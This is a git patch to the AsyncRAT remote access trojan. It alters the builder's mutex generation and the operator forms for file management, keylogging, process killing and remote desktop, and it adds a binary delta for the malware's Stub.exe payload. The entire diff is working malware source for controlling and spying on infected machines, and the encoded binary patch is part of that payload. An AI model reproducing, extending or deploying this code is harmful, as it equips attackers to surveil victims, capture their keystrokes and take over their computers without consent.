From cfae8909d70999abe9c5e0b60c31f2efe4ccedbf Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 24 Apr 2019 11:10:26 -0700 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs | 2 +- .../AsyncRAT-Sharp/Forms/FileManager.cs | 8 ++++---- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs | 3 ++- .../AsyncRAT-Sharp/Forms/ProcessManager.cs | 5 +++-- .../AsyncRAT-Sharp/Forms/RemoteDesktop.cs | 5 +++-- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 141312 -> 141312 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- .../Client/Handle Packet/HandlePacket.cs | 2 ++ AsyncRAT-C#/Client/Settings.cs | 2 +- 9 files changed, 17 insertions(+), 12 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs index 8f63445..dcb012c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs @@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = Path.GetRandomFileName(); + method.Body.Instructions[i].Operand = Guid.NewGuid().ToString(); if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") method.Body.Instructions[i].Operand = Settings.Password; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs index fd6847f..105a8c1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs @@ -27,7 +27,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; } } @@ -47,7 +47,7 @@ namespace AsyncRAT_Sharp.Forms { msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); return; } path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); @@ -62,7 +62,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); return; } @@ -151,7 +151,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } catch { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs index f7c0674..5b5c040 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs @@ -7,6 +7,7 @@ using System.Data; using System.Drawing; using System.Linq; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; @@ -32,7 +33,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs index 747eed5..23308c1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs @@ -5,6 +5,7 @@ using System.Data; using System.Drawing; using System.Linq; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using AsyncRAT_Sharp.MessagePack; @@ -39,7 +40,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); }); } } @@ -52,7 +53,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); }); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index b56fd80..ec51fa7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -12,6 +12,7 @@ using System.Threading.Tasks; using System.Windows.Forms; using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.MessagePack; +using System.Threading; namespace AsyncRAT_Sharp.Forms { @@ -28,7 +29,7 @@ namespace AsyncRAT_Sharp.Forms public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew(); - public IUnsafeCodec decoder = new UnsafeStreamCodec(80); + public IUnsafeCodec decoder = new UnsafeStreamCodec(60); private void timer1_Tick(object sender, EventArgs e) { @@ -43,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); decoder = new UnsafeStreamCodec(60); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 6ab68ebe165eb6c95c6d63dd08cb756b51a5e9b9..e7d8b451da5b11a1de6bec8f4a4512eb540fcecc 100644 GIT binary patch delta 4017 zcmb7H2~Po*ayNj#YH@x}hR7D53;v z!5hJqDz)t~8n+>gTU-LDaYapBnvxP@Hq?exjZ011|K2zAgq)o8lykWAf8YQA-~I3U z-g7nkxtjed)~bgk>NZxEn{i>~u8F}tG6oe{+$U|;}RmhtKdIpUnlviK|M;FJxxtR*4^c*bzFeLrJnSQ{~!8}z2WODer z4@y5mh_{nB*?^i@oacVMriGYZ)Kcgl6W!6ZGyHJ9+x5;K zj1Mu}o_qL?JNn)3{y2#Z_N>Bd*$19((=X{jVI=le>j($Ss5YqS*T732C?F+XPrLYa z3K|7LG>&tl!LlVmc&dWTKMkjY*_cC{@C0`I&=#D>3J>oMq7bc@M#CHudWoeS8PQ=# zee}wZMzQrroZ&e@h{Y7WrI3gu70qP{M|a1)n1_5{l9pC*Q!Lze_TAB!lIj81S|bf= z$5be`d_F?B)*3|xEyeH|4gx+wOOLbcV?+O!<^{I@SnnX7Y|u#4_&n6Jd&d@K_pjIKS z2k`?Z9^>t7*U6YLMcmO9x)0E$&1ct7X5fCzc*;tGH7xy90{)UsJ=M+GpoX&@x2f)p zE4`Nb#T~5ZcWdAWaC+^#f!ERD(399~=@74kSnPGlc0*mVlq#6xX@tX0S(oQxD?y+YP;QYFZ%3K1L-K=d~%_a zIeANve9>gGKVYZ5QLybw{%e5k`vj>D@P&@$9ZR%HPV{_+ai&x*)4Hm4~Hx3M)%U5!eN zoE4y@(d=+juh7O$L!s&HanlUVRt-X1+0@g<0OiEOz3V*P7aj%f)7J1-UhseTU5NNW zhePO3C3gR`1*fV7#FoDUhP_y_Q=KW2hNdo`M z``eSI3mi|!h~FqWLHrtYDSkAUo9bjOb+JR|h8Su9N^nzX={wx|5wXwCg)__f;0_N# zekFLH>ve3{`4zaHojBi$kFo6+^1u$dI2Sjvf{XjD%5&$J9y#!U$?71^FEQn%q5e{3 zyge8Q{tocxKCr?nc}H@*P%H3QHuLh;4g&mY^a{*!XE!gx0r_0vkB~vDSo4*;xP~3O zYK8Xp)gI95t|dX+=UR3L4Swf(HAbLu>ii3~lrhZAZiznih2|#5VTyW&$3;;%*h-GWWJy z6EQAhkN#GP54+cVQi5TN2e%x@A?#wyBb?}N_;d@7PBy{2@jz(A)D$Liv89|Vb?3LL zw}lknfi6)c>fvWZnPg9O*$N!voCmM|Kt`G+PNvv6Dv2~nV*wQi-zwyfI4TvW3U%$q zBhSitXoC4nSSCsRQmCNJn6JWKCHudTQC7bn!p0GMn~cteP7KZ>#a{F~14pRZT8Q7n z&DEb2;*t1Sb-WYDShRO}!YUL8-7X=i0#%{zmYqRMh^u-MguIr0UucS|^E*|YPo@ap zDwKi-b;&18penzIy&eWFC7Zn{sP_{!^NIR#%vkjpt6c}HrSw{AF z(K%A7S>CCm0wT5Z$P$>4v8aHg3RHwvMsRfRJMJq&#KzG~{u~4Jv}X<}AZmWI1IikZ zLspP-FM6VTE2NM#CwbvFU2}+&urQ~aY7`hzwIJ}g^IpJLMP4y@;*z^|Z=S7wMN1DpWRxe8LHqKN|n!RYTWw~h` znE+pTJa4gOo#_u`p%=}zY%x`mtzI;!=TXyoG6lW^`GOSne`4A|GT@WXS4=h8^rNS) z2sBZj|Vss5BGfk0B0LQ)9B{t+xPcoZECwvRTP?*?fH#{ z?2k0{h$U#O_rsZs&gFJoWxPoRpVRQg?HL|R_FzwN9C@Z8t_+VMfqaWAQ+59Z6Diph delta 3918 zcmb7H3s6&68b0R`@&E#aNC+f^mx-6BR;>n$Z!H!(NU7D*aa?$+7=+?!mXS=_HA(*p2!|f@^gAvkf@Gyg z=_iFDfc<0$Yg!*Wsarrb=V!)Rr3EA_3Cy|Q^Ku4Own562%t+rt}IH&u-r zysl5TWBfVG+WJ8bwq=tSLhVe=q0RzCO{Xv!fiRk1htbe}fw)1!K>$YPTq!tMn&6Y@&PA1M3OH&siVW- zjIuY2BrlpoS^zuk+eP-S>^~5&-6N7DG+^47lNHb?X(iv)yr|;T3iF@#19)~anh&H_NpJG?!d*3vC}?dOVeqO}DurB`kU?nYJMXkknHfw4%{pJlAx)fwINOP*e$>HQN`MIs66T3QVbeilGQ0O$2 zpV;C=W$FRRy~>QV6EH9c3wV%6tl&^|>T`m$K^eepMqn^vkW#kdkO{lkr-v-B%SVAY zk9wYXy5zGVP@&9$5aGCt1_7#)IfJshi-w}=!SN^+CEeK^J> zmq4oCI4F#L2P{~w-*`Ad-&L;uF| zbP(Hl?DFto+>0Oh15WYX^&+1r1;#$J&smMcmatQQi_WZ&b(^{FGBgn9 zk21?RdsJd~Fx~NJXG=hrxyZgjQk;}2hy8tt>X518^u-YIii{_uPp5YQg{4oSPdQr+ z0~Pp&2upvBhHJUz6&fc#hx(t{R1onCR7e+vRB9KWN%Up$8A}Vrr%sijrV~X`Ny}LK z@xh_%010nF8R#c0?nG**yNmB;|8=~J6`fd$8`$|1SMeU!cyb2F)-Pt_7FPR3y;Z(0 z{@YCf_d-0YYU|x80Y8J}`@XHsozyQJ2!4HU=?$d}lFn_8=PE^<$6Tk*bPB*vHh+L= z-f8XgaA+xyun|0HExUR8HeSchov}ju^=I=(Zh{ao zj<+BNYyx8hXeWSdtbyAVXXzwLLXJV8P*PjKCPucgvEk>6Al3SF9?Lq2C)UsLF_;T= z&}5p`v1PFs-p|&t!Y_|yaub-lG80gB);KC*Q;_(MCB1G5JHfBcYKHZl+tELH6yy|k z0p$pR20Fp?XjYK013)0~rjF>oA9FU4s!Kn_S2Xb34Hjia$QvM9*{u!>zRuL=)1&W$ zk_gLTaX3DQ$W+%2&C;&wi2FY~{K0t(p3HWfHxBa;%s)`Gf1vTt8K{LWg=BTYOvtNM z#W;NMR0Yv$roNDh8S8x^-?kMDq_-#~{S4$Z>fwqhcE7FD$=M=WjS`Z%L%oRHXsr2YR30&Y%Prj~&-9O| z(PYgn361IdOH@8d{7yp0BFBf1Au~KZ%Wx}h^!!+cN8)RqY$rCw-xW=kp+rbDpBQg* zht()0{v+*tGR-p^Ot9Vadw67z_$SvbLm6mbw*_Reh*ql~WIfO>Bo%(7?fDo`jf7CK zR*x2uM$gya9x>v3DRfwpJ9rVP^@O^x$r*W%lT|RVSJ4t;6j3>5=hQ;7gxv9?G5rh4QZn~PN%vUwUPKvb^rKq|g~Un5K9F=PBMXU(On4}v<3V0j zPF$WXE}ZH-E0S)bSiTeud!!GQp3g$FDWGNu?hROxGtotNznY->hI#Z`6fZ2